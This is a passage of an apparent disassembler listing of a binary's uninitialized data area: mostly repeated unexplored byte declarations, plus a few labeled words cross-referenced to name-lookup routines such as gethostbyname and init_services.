		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807A315	db ? ; unexplored	; DATA XREF: sub_804B800+54Eo
		db ? ; unexplored
		db ? ; unexplored
dword_807A318	dd ?			; DATA XREF: gethostbyname+35w
					; gethostbyname+81o ...
unk_807A31C	db ? ; unexplored	; DATA XREF: _gethtent+AAo
					; sub_804C9E4+109o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807A340	dd ?			; DATA XREF: _gethtent+A0o
					; _gethtent+AAw ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807A348	dd ?			; DATA XREF: sub_804A4F4+14r
					; init_services+985w ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807A358	db ? ; unexplored	; DATA XREF: init_services+Eo
					; init_services+D98o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
